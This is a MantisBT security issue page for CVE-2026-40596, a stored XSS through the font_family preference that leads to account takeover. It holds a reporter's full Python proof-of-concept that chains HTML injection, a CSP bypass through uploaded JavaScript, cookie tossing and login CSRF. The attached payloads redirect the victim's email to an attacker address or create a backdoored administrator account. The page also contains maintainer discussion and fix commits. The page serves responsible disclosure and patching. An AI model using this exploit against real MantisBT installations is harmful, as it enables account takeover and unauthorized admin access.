View Issue Details
| ID | Project | Category | View Status | Date Submitted | Last Update |
|---|---|---|---|---|---|
| 0037011 | mantisbt | security | public | 2026-04-10 23:35 | 2026-05-09 19:56 |
| Reporter | siunam | Assigned To | dregad | ||
| Priority | immediate | Severity | major | Reproducibility | always |
| Status | closed | Resolution | fixed | ||
| Product Version | 2.11.0 | ||||
| Target Version | 2.28.2 | Fixed in Version | 2.28.2 | ||
| Summary | 0037011: CVE-2026-40596: XSS leading to account takeover via updating a user's font family preference | ||||
| Description | Any authenticated user can inject arbitrary HTML code and achieve account takeover via updating their account's font family. In
Therefore, the attacker can update its own account's font family config's value to inject arbitrary HTML code in attacker's account by sending a POST request to
EDIT (dregad): added line breaks in the POST payload to avoid horizontal scrolling. Which updates the user config
See "1_image1.png". Note that the injected payload will be reflected in many endpoints, including but not limited to To escalate this self-XSS vulnerability, the attacker would need to:
Since endpoint
JavaScript file payload:
By doing so, PHP method
This is because if PHP Note that non-JavaScript MIME types will not get imported in a By combining the above HTML injection vulnerability and this CSP bypass, the attacker can escalate from self-HTML injection to self-XSS: Payload in
See "1_image2.png" and "1_image3.png".
In
Cookie tossing self-XSS payload:
By doing so, when the victim logged back in to their account, cookie Also, the reason why we choose path
Since cookies with a specific path will have higher priority, the victim (When logs in as their own account) will be served with the second self-XSS payload. The goal of the second self-XSS payload could be:
| ||||
| Steps To Reproduce | To reproduce this vulnerability, the application will need to enable self-signup (Enabled by default) to allow users to register as a "reporter" account (Also by default). Attacker preparations:
Victim:
Note that a Python Proof-of-Concept (PoC) script ( | ||||
| Additional Information | Tested on version 2.29.0-dev (commit: https://github.com/mantisbt/mantisbt/commit/73c575932e5bcbf7befbe2452fe1a21907ced052) | ||||
| Tags | No tags attached. | ||||
| Attached Files | poc.py (14,946 bytes)
import requests
from bs4 import BeautifulSoup
from flask import Flask
app = Flask(__name__)
pocAccounts = targetBaseUrl = None
@app.route('/exploit')
def exploit():
exploit_html = f'''
<form id="csrf" action="" method="post">
<input type="text" id="username" name="username" value="">
<input type="text" id="password" name="password" value="">
</form>
<script>
window.name = '';
const TARGET_BASE_URL = '{targetBaseUrl}';
window.onload = function() {{
csrf.action = `${{TARGET_BASE_URL}}/login.php`;
document.getElementById('username').value = '{pocAccounts["reporter1"]["username"]}';
document.getElementById('password').value = '{pocAccounts["reporter1"]["password"]}';
csrf.submit();
}};
</script>
'''
return exploit_html, 200, { 'Content-Type': 'text/html' }
class Poc:
def __init__(self, baseUrl):
global targetBaseUrl
targetBaseUrl = baseUrl
self.baseUrl = baseUrl
self.PHP_SESSION_COOKIE_NAME = 'PHPSESSID'
self.MANTIS_STRING_COOKIE_NAME = 'MANTIS_STRING_COOKIE'
self.ISSUE_CATEGORY_GENERAL_ID = 1
self.ISSUE_PUBLIC_VIEW_STATE = 10
self.CREATE_NEW_ISSUE_CSRF_TOKEN_NAME = 'bug_report_token'
self.UPDATE_ACCOUNT_PREFERENCES_CSRF_TOKEN_NAME = 'account_prefs_update_token'
self.REST_GET_MY_USER_INFO_ENDPOINT = f'{self.baseUrl}/api/rest/users/me'
self.CREATE_NEW_ISSUE_PAGE_ENDPOINT = f'{self.baseUrl}/bug_report_page.php'
self.CREATE_NEW_ISSUE_ENDPOINT = f'{self.baseUrl}/bug_report.php'
self.UPDATE_ACCOUNT_PREFERENCES_PAGE_ENDPOINT = f'{self.baseUrl}/account_prefs_page.php'
self.UPDATE_ACCOUNT_PREFERENCES_ENDPOINT = f'{self.baseUrl}/account_prefs_update.php'
self.MY_VIEW_PAGE_ENDPOINT = f'{self.baseUrl}/my_view_page.php'
self.LOGIN_ENDPOINT = f'{self.baseUrl}/login.php'
self.LOGOUT_ENDPOINT = f'{self.baseUrl}/logout_page.php'
self.REST_CREATE_NEW_TOKEN = f'{self.baseUrl}/api/rest/users/me/token'
self.REST_UPDATE_USER_ENDPOINT = f'{self.baseUrl}/api/rest/users/{{user_id}}'
self.REST_CREATE_USER_ENDPOINT = f'{self.baseUrl}/api/rest/users'
def login(self, account):
data = {
'username': account['username'],
'password': account['password']
}
response = account['session'].post(self.LOGIN_ENDPOINT, data=data)
response.raise_for_status()
def getCurrentUserInfo(self, account):
response = account['session'].get(self.REST_GET_MY_USER_INFO_ENDPOINT)
response.raise_for_status()
return response.json()
def getCSRFToken(self, endpoint, account, csrfTokenName):
response = account['session'].get(endpoint)
response.raise_for_status()
soup = BeautifulSoup(response.text, 'html.parser')
csrf_token = soup.find('input', {'name': csrfTokenName})['value']
return csrf_token
def uploadJavaScriptFile(self, account, filename, payload):
files = { 'ufile[0]': (filename, payload, 'application/javascript') }
data = {
self.CREATE_NEW_ISSUE_CSRF_TOKEN_NAME: self.getCSRFToken(self.CREATE_NEW_ISSUE_PAGE_ENDPOINT, account, self.CREATE_NEW_ISSUE_CSRF_TOKEN_NAME),
'project_id': account['user_info']['projects'][0]['id'],
'category_id': self.ISSUE_CATEGORY_GENERAL_ID,
'summary': 'CSP Bypass PoC',
'description': 'CSP Bypass PoC',
'view_state': self.ISSUE_PUBLIC_VIEW_STATE
}
response = account['session'].post(self.CREATE_NEW_ISSUE_ENDPOINT, files=files, data=data)
response.raise_for_status()
soup = BeautifulSoup(response.text, 'html.parser')
fileEndpoint = soup.find('a', attrs={'href': lambda x: x and 'file_download.php' in x})['href']
return fileEndpoint
def updateAccountPreferences(self, account, selfXSSFileEndpoint):
data = {
self.UPDATE_ACCOUNT_PREFERENCES_CSRF_TOKEN_NAME: self.getCSRFToken(self.UPDATE_ACCOUNT_PREFERENCES_PAGE_ENDPOINT, account, self.UPDATE_ACCOUNT_PREFERENCES_CSRF_TOKEN_NAME),
'user_id': account['user_info']['id'],
'redirect_url': self.UPDATE_ACCOUNT_PREFERENCES_PAGE_ENDPOINT.split('/')[-1],
'default_project': account['user_info']['projects'][0]['id'],
'refresh_delay': '30',
'redirect_delay': '2',
'bugnote_order': 'ASC',
'email_on_new': 'on',
'email_on_new_min_severity': '0',
'email_on_assigned': 'on',
'email_on_assigned_min_severity': '0',
'email_on_feedback': 'on',
'email_on_feedback_min_severity': '0',
'email_on_resolved': 'on',
'email_on_resolved_min_severity': '0',
'email_on_closed': 'on',
'email_on_closed_min_severity': '0',
'email_on_reopened': 'on',
'email_on_reopened_min_severity': '0',
'email_on_bugnote': 'on',
'email_on_bugnote_min_severity': '0',
'email_on_status_min_severity': '0',
'email_on_priority_min_severity': '0',
'email_bugnote_limit': '0',
'timezone': 'UTC',
'language': 'auto',
'font_family': f'</style><script src="/{selfXSSFileEndpoint}"></script><style>',
}
response = account['session'].post(self.UPDATE_ACCOUNT_PREFERENCES_ENDPOINT, data=data, allow_redirects=False)
response.raise_for_status()
def startWebServer(self):
app.run(host='0.0.0.0')
def execute(self, accounts, isAccountTakeover=True, attackerEmail='attacker@attacker.com'):
global pocAccounts
pocAccounts = accounts
# 1. Login as reporter and get the session cookies to do cookie tossing attack
self.login(accounts['reporter'])
accounts['reporter']['user_info'] = self.getCurrentUserInfo(accounts['reporter'])
reporterPHPSessionCookie = accounts['reporter']['session'].cookies.get_dict()[self.PHP_SESSION_COOKIE_NAME]
reporterMantisStringCookie = accounts['reporter']['session'].cookies.get_dict()[self.MANTIS_STRING_COOKIE_NAME]
print(f'[+] Logged in as {accounts["reporter"]["username"]} | PHPSESSID: {reporterPHPSessionCookie} | MANTIS_STRING_COOKIE: {reporterMantisStringCookie}')
if isAccountTakeover:
selfXSSJavaScriptPayload = f'''
#!/usr/bin/env node
async function exploit() {{
const token = await fetch('{self.REST_CREATE_NEW_TOKEN}', {{ method: 'POST' }}).then(response => response.json()).then(data => data.token);
const userInfo = await fetch('{self.REST_GET_MY_USER_INFO_ENDPOINT}', {{
method: 'GET',
headers: {{ 'Authorization': token }}
}}).then(response => response.json());
if (!userInfo || !userInfo.id) {{
console.error('Failed to get user info, aborting exploit');
return;
}}
if (userInfo.name === '{accounts["reporter"]["username"]}' || userInfo.name === '{accounts["reporter1"]["username"]}') {{
console.log('Not the victim triggering the payload. Skipping...');
return;
}}
if (window.name === 'self-xss-window') {{
console.log('Payload already executed, skipping...');
return;
}}
window.name = 'self-xss-window';
const updateUserResponse = await fetch(`{self.REST_UPDATE_USER_ENDPOINT}`.replace('{{user_id}}', userInfo.id), {{
method: 'PATCH',
headers: {{
'Authorization': token,
'Content-Type': 'application/json'
}},
credentials: 'omit',
body: JSON.stringify({{
user: {{
email: '{attackerEmail}'
}}
}})
}}).then(response => {{
if (response.status === 200) {{
console.log('User info updated successfully, if the account takeover was successful, the victim should receive a password reset email at the attacker email address:', '{attackerEmail}');
}} else {{
console.error('Failed to update user info, status code:', response.status, 'account takeover may have failed');
}}
}}).catch(error => {{
console.error('Error updating user info:', error);
}});
}}
function cleanup() {{
document.cookie = '{self.PHP_SESSION_COOKIE_NAME}=; path=/{self.MY_VIEW_PAGE_ENDPOINT.split("/")[-1]}; expires=Thu, 01 Jan 1970 00:00:00 GMT';
document.cookie = '{self.MANTIS_STRING_COOKIE_NAME}=; path=/{self.MY_VIEW_PAGE_ENDPOINT.split("/")[-1]}; expires=Thu, 01 Jan 1970 00:00:00 GMT';
window.location.reload();
}}
(async () => {{
await exploit();
cleanup();
}})();
'''.strip()
else:
selfXSSJavaScriptPayload = f'''
#!/usr/bin/env node
async function exploit() {{
const token = await fetch('{self.REST_CREATE_NEW_TOKEN}', {{ method: 'POST' }}).then(response => response.json()).then(data => data.token);
const userInfo = await fetch('{self.REST_GET_MY_USER_INFO_ENDPOINT}', {{
method: 'GET',
headers: {{ 'Authorization': token }}
}}).then(response => response.json());
if (!userInfo || !userInfo.id) {{
console.error('Failed to get user info, aborting exploit');
return;
}}
if (userInfo.name === '{accounts["reporter"]["username"]}' || userInfo.name === '{accounts["reporter1"]["username"]}') {{
console.log('Not the victim triggering the payload. Skipping...');
return;
}}
if (window.name === 'self-xss-window') {{
console.log('Payload already executed, skipping...');
return;
}}
window.name = 'self-xss-window';
const username = 'admin_backdoor';
const password = 'password';
await fetch('{self.REST_CREATE_USER_ENDPOINT}', {{
method: 'POST',
headers: {{
'Authorization': token,
'Content-Type': 'application/json'
}},
credentials: 'omit',
body: JSON.stringify({{
username: username,
password: password,
email: '{attackerEmail}',
access_level: {{ name: 'administrator' }},
enabled: true
}})
}}).then(response => {{
if (response.status === 201) {{
console.log('Exploit executed, check the attacker email for password reset instructions if the user creation was successful. Created backdoored administrator username:', username, 'password:', password);
}} else {{
console.error('Failed to create user, status code:', response.status);
}}
}}).catch(error => {{
console.error('Error creating user:', error);
}});
}}
function cleanup() {{
document.cookie = '{self.PHP_SESSION_COOKIE_NAME}=; path=/{self.MY_VIEW_PAGE_ENDPOINT.split("/")[-1]}; expires=Thu, 01 Jan 1970 00:00:00 GMT';
document.cookie = '{self.MANTIS_STRING_COOKIE_NAME}=; path=/{self.MY_VIEW_PAGE_ENDPOINT.split("/")[-1]}; expires=Thu, 01 Jan 1970 00:00:00 GMT';
window.location.reload();
}}
(async () => {{
await exploit();
cleanup();
}})();
'''.strip()
# 2. Upload the self-XSS JavaScript file using the reporter account for CSP `script-src: 'self'` bypass
selfXSSFileEndpoint = self.uploadJavaScriptFile(accounts['reporter'], 'self-xss.js', selfXSSJavaScriptPayload)
print(f'[+] Uploaded JavaScript file as {accounts["reporter"]["username"]} | File Endpoint: {selfXSSFileEndpoint}')
# 3. Upload the cookie tossing JavaScript file using the reporter account. When this JavaScript file is loaded, it will set the cookies of the victim to the attacker's cookies, then log out the victim to allow the victim to log in with the attacker's cookies
cookieTossingJavaScriptPayload = f'''
#!/usr/bin/env node
document.cookie = '{self.PHP_SESSION_COOKIE_NAME}={reporterPHPSessionCookie}; path=/{self.MY_VIEW_PAGE_ENDPOINT.split("/")[-1]}';
document.cookie = '{self.MANTIS_STRING_COOKIE_NAME}={reporterMantisStringCookie}; path=/{self.MY_VIEW_PAGE_ENDPOINT.split("/")[-1]};';
// logout to allow the victim to login their account
window.location.href = '/{self.LOGOUT_ENDPOINT.split("/")[-1]}';
'''.strip()
cookieTossingFileEndpoint = self.uploadJavaScriptFile(accounts['reporter'], 'cookie-tossing.js', cookieTossingJavaScriptPayload)
print(f'[+] Uploaded JavaScript file as {accounts["reporter"]["username"]} | File Endpoint: {cookieTossingFileEndpoint}')
# 4. Update the account preferences of the reporter account to import the self-XSS JavaScript file via stored self-XSS vulnerability in parameter "font_family", so when the victim visits any pages in the web application, the self-XSS JavaScript payload will be executed to perform the attack
self.updateAccountPreferences(accounts['reporter'], selfXSSFileEndpoint)
print(f'[+] Updated account preferences of {accounts["reporter"]["username"]} to load the self-XSS JavaScript file')
# 5. Login as reporter1 and update the account preferences to load the cookie tossing JavaScript file. When the victim logs in as reporter1 and visits any page, the cookie tossing JavaScript file will be executed to set the cookies of the victim to the attacker's cookies, then log out the victim to allow the victim to log in with the attacker's cookies
self.login(accounts['reporter1'])
print(f'[+] Logged in as {accounts["reporter1"]["username"]} to do cookie tossing')
accounts['reporter1']['user_info'] = self.getCurrentUserInfo(accounts['reporter1'])
self.updateAccountPreferences(accounts['reporter1'], cookieTossingFileEndpoint)
print(f'[+] Updated account preferences of {accounts["reporter1"]["username"]} to load the cookie tossing JavaScript file')
# 6. Start a web server to serve the login CSRF page for self-XSS attack
print('[+] Starting web server to serve the exploit page for self-XSS attack...')
print(f'[+] Visit http://localhost:5000/exploit to trigger the self-XSS attack')
self.startWebServer()
if __name__ == '__main__':
baseUrl = 'http://localhost:8080'
isAccountTakeover = False # Set to True if you want to perform account takeover, otherwise it assumes that the victim is an administrator user and create a new backdoored administrator account
attackerEmail = 'attacker@attacker.com' # This email address will receive the password reset email if the account takeover is successful, or receive the password reset email for the backdoored administrator account if the user creation is successful
accounts = {
'reporter': {
'username': 'reporter',
'password': 'password',
'session': requests.Session()
},
'reporter1': {
'username': 'reporter1',
'password': 'password',
'session': requests.Session()
}
}
poc = Poc(baseUrl)
poc.execute(accounts, isAccountTakeover, attackerEmail) | ||||
PatchTo patch the root cause of the self-HTML injection vulnerability, it is recommended that user
And HTML entity encode user
The reason why For login CSRF, it is recommended that For the CSP bypass, it is recommended that the response |
|
|
Hello @siunam Nice finding, thanks for the detailed report. I will look at this in more detail, file a security advisory on GitHub and request a CVE. May I ask your GitHub user ID so I can grant you access to the advisory ? Also please let me know how you would like to be credited. |
|
My GitHub user ID is "siunam321" (https://github.com/siunam321). I think the credit can be "siunam (Tang Cheuk Hei)". Thanks! |
|
|
Hello @siunam, After further analysis, I believe that this issue actually encompasses two distinct vulnerabilities:
Do you agree that these should be handled as separate issues ? In other words, any HTML injection vulnerability, not only (1) could leverage (2) to execute Javascript. Please advise. |
|
Not sure I fully understand your recommendation. Are you saying that the Content-Type header should only be issued for known types listed above (i.e. do omit the header for other MIME types such as text/javascript) ? Or that I should coerce the MIME type to known, safe ones (e.g. text/javascript becomes text/plain).? Please clarify. |
|
Yes, I agree.
I think both approaches can be used together. If the MIME type is not a whitelisted MIME type, force them to be |
|
|
As far as I can tell, the vulnerability was introduced in MantisBT 2.11.0 by 0023758. I have updated the issue's summary to be a bit more concise, and created 0037016 to track the CSP bypass issue. With regards to MIME type handing, I'll come up with something and submit it to you for review. |
|
|
By the way the Python script was helpful to understand the exploit mechanism, although I had a hard time setting it up, mainly due to the fact that on my dev box Mantis is not at the root but in /mantis, so the URL in font_family was not set correctly ( Also I had to deactivate AirPlay receiver in my Mac to get the exploit site to start. |
|
|
Advisory https://github.com/mantisbt/mantisbt/security/advisories/GHSA-j3v9-553h-x28j has beencreated. Please review it (in particular the CVSS evaluation), feedback and comments are welcome. CVE request sent. |
|
|
Proposed patch https://github.com/mantisbt/mantisbt-ghsa-j3v9-553h-x28j/pull/1. It is not fully complete, as I'm still working on the fix for the CSP bypass issue 0037016, but you can already review this as the vulnerability and recommendations from this issue are covered. @vboctor, as mentioned in the PR, it would be great if you could confirm that the introduction of CSRF in the login process does not break one of your auth plugin scenarios - I do not have any real-world use case for this to test. |
|
I think the CVSS score should be 7.5: |
|
I confirmed that the HTML injection / XSS vulnerability in |
|
|
Thanks for reviewing and testing. I have updated the CVSS score per your suggestion. I will let you know once the patch for the CSP bypass is available. |
|
|
CVE-2026-40596 assign |
|
|
MantisBT: master-2.28 d78b75a5 2026-04-11 15:58 Details Diff |
Abort updating preferences if font is unknown Check that the font_family value exists in the list of available fonts prior to updating the user's preference. If not, we throw an invalid parameter Exception. Fixes 0037011, GHSA-j3v9-553h-x28j |
Affected Issues 0037011 |
|
| mod - account_prefs_update.php | Diff File | ||
|
MantisBT: master-2.28 fa2c797d 2026-04-11 16:16 Details Diff |
Escape font_family in generated style layout_user_font_preference() displayed the user's font_family without proper escaping, leaving the door open for XSS / HTML injection. Fixes 0037011, GHSA-j3v9-553h-x28j |
Affected Issues 0037011 |
|
| mod - core/layout_api.php | Diff File | ||
|
MantisBT: master-2.28 75b10b39 2026-04-11 18:49 Details Diff |
Add CSRF protection to login process Improves security, reducing risk of a vulnerability escalating its impact. As recommended by @siunam in Issue 0037011. |
Affected Issues 0037011 |
|
| mod - login.php | Diff File | ||
| mod - login_page.php | Diff File | ||
| mod - login_password_page.php | Diff File | ||